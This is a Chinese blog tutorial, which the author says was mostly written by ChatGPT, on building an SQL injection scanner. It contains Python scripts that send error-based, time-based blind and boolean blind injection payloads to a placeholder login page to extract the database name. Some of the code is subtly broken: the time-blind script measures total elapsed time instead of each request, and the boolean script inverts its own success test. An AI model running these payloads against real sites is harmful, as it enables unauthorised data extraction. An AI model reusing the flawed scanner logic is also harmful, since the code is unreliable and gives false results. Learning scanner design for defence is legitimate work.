[安全开发] SQL注入扫描（一股子GPT味~）

实际上大部分都是它写的，它真我哭

SQL注入扫描就是一种用于检测和预防SQL注入攻击的工具。它通过模拟SQL注入攻击的方式，向目标网站发送特定的SQL查询语句，以验证目标网站是否存在SQL注入漏洞。SQL注入扫描的过程通常分为以下几个步骤：

收集信息：扫描器会首先向目标网站发送各种类型的请求，例如HTTP GET、POST等，以获取目标网站的响应，进而收集关于目标网站的信息。
发现漏洞：扫描器会尝试使用各种常见的SQL注入技巧来探测目标网站是否存在SQL注入漏洞。例如，它会向目标网站发送一些特定的字符，以验证是否存在对输入数据进行检查的措施。
验证漏洞：如果扫描器成功地发现了SQL注入漏洞，它会尝试利用该漏洞来验证其有效性。例如，它会发送一些恶意的SQL查询语句，以查看是否能够成功地从目标网站的数据库中提取数据。
报告结果：扫描器会将其扫描结果整理成报告，包括发现的漏洞类型、漏洞的位置、漏洞的影响程度等信息。

总的来说，SQL注入扫描可以帮助网站管理员及时检测和预防SQL注入攻击，从而保护网站和数据库的安全。

下面分别描述这四部分

收集信息

为什么我们要收集信息？

比如说我们对于http://www.example.com/网站进行扫描，就要先使用爬虫获取扫描目标，没有扫描目标的话，直接对着http://www.example.com/怼，能够扫出漏洞我愿意称之为天选之子。

假设现在收集到了1000个网址，包含了：

如果你是一个渗透测试工程师，你第一反应是检测哪个网址？

So，这也是我们脚本需要实现的东西

不可能每个网址都扫描一遍吧，恰好我们有100个验证SQL注入的POC，那么就需要发送1000*100个包，这对该网站是一个噩梦，当然也有可能刚开始扫就被防火墙给拦截了，或者很多东西都是错误网址，浪费了扫描器的时间

所以我们需要在收集信息这一步将一些干扰信息排除掉，具体来说，需要分析目标网站的响应数据，包括响应头、响应体、响应码等信息，以获取目标网站的状态和特征等

发现漏洞&验证漏洞

这里其实是POC和EXP的区别，这里我们统一用POC来解释

我们根据SQL注入的不同类型来编写SQL注入的检测脚本，因为这里的分类因人而异，这里只进行前三中的安全开发扫描简述

报错注入
时间盲注
布尔注入
宽字节注入
联合注入
堆叠注入
二次注入
....

报错注入检测脚本

报错注入是一种常见的SQL注入技术，其基本原理是通过构造恶意的SQL查询语句，使目标网站返回错误信息，从而获得有关目标数据库的敏感信息

它的检测关键点在于回显需要有报错信息，在下面的脚本中报错回显是

"You have an error in your SQL syntax"

使用python编写一个实例脚本

import requests

# 定义目标网站URL和注入参数

target_url = 'http://www.example.com/login.php'

injection_param = 'username'

# 构造注入语句

injection_payload = "' or 1=1 union select 1,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- "

# 发送恶意请求

payload = {injection_param: injection_payload}

response = requests.post(target_url, data=payload)

# 分析响应并检测是否存在SQL注入漏洞

if "You have an error in your SQL syntax" in response.text:

    print("SQL注入漏洞存在")

else:

    print("SQL注入漏洞不存在")

时间盲注检测脚本

时间盲注，最重要的就是时间

import requests

import time

# 定义目标网站URL和注入参数

target_url = 'http://www.example.com/login.php'

injection_param = 'username'

# 构造注入语句

injection_payload = "' or if(substr(database(),{pos},1)='{char}', sleep(5), null)-- "

# 发送恶意请求并计时

start_time = time.time()

for i in range(1, 20):   # 假设数据库名称长度不超过20个字符

    for j in range(33, 127):   # ASCII码表中可见字符的范围

        # 替换注入语句中的占位符

        payload = {injection_param: injection_payload.format(pos=i, char=chr(j))}

        response = requests.post(target_url, data=payload)

        # 如果响应时间大于5秒，则表示猜测的字符是正确的

        if time.time() - start_time > 5:

            print("第{}位字符为：{}".format(i, chr(j)))

            break

    else:

        continue

    break

以上脚本中，我们首先定义了目标网站的URL和注入参数，然后构造了一个注入语句，其中使用了时间盲注的技巧，使用sleep函数控制响应时间。接着，我们使用一个双重循环来猜测数据库名称中的每一个字符，如果猜测正确，则响应时间会超过5秒，从而得到正确的字符

布尔注入检测脚本

布尔注入的基本原理是通过构造恶意的SQL查询语句，使目标网站返回不同的响应结果（True或False）

这里的True和False是什么？

水无常形，需要根据情况讨论，如果我们的一个SQL注入脚本，正确的时候，是返回200状态码，失败的时候，返回404状态码，这里的对应

True 200
False 404

另一种情况，正确的时候，返回个人信息，失败的时候，返回为空，这里的对应

True 获得个人信息
False 空信息

在下面这个脚本中，Login failed为False，登录成功为True ，通过判断响应结果中是否包含“Login failed”来判断猜测是否正确

import requests

# 定义目标网站URL和注入参数

target_url = 'http://www.example.com/login.php'

injection_param = 'username'

# 构造注入语句

injection_payload = "' or ascii(substr(database(),{pos},1))={char}-- "

# 猜测数据库名称的长度

for length in range(1, 20):   # 假设数据库名称长度不超过20个字符

    # 猜测每一位字符

    database_name = ''

    for i in range(1, length+1):

        for j in range(33, 127):   # ASCII码表中可见字符的范围

            # 替换注入语句中的占位符

            payload = {injection_param: injection_payload.format(pos=i, char=j)}

            response = requests.post(target_url, data=payload)

            # 判断响应结果是否发生变化

            if 'Login failed' in response.text:

                break

        else:

            continue

        database_name += chr(j)

        break

    else:

        break

print("数据库名称为：", database_name)

输出报告

这玩意不用我说了吧

浅谈检测的优化

关于漏洞检测的优化，我觉得这东西可以写一本书，这里简单说几个抛砖引玉

在第一步我们获取到扫描目标后，我们需要进行一波过滤，可以定义一个字典 ['js','jpg','png']等等，将对应的静态后缀给过滤掉，不进入到第二步的扫描中，节省扫描时间

在时间盲注中，如果我们用国内的扫描器扫描国外的网站，可能你正常访问国外的网站，等待的时间都需要10秒，检测脚本中等待的5秒都属于正常的网络抖动，误报率会非常高，这种情况下可以先发几个包到需要检测的网站上，计算一个平均访问时间，在平均访问时间上构造盲注时间，这样来提高准确率

OK，SQL注入扫描就到这里啦，自己编写扫描脚本的时候，需要根据扫描结果来不断优化迭代，进而让脚本趋于完善，共勉

END

建了一个微信的安全交流群，欢迎添加我微信备注进群，一起来聊天吹水哇，以及一个会发布安全相关内容的公众号，欢迎关注

加我拉你入群	黑糖安全公众号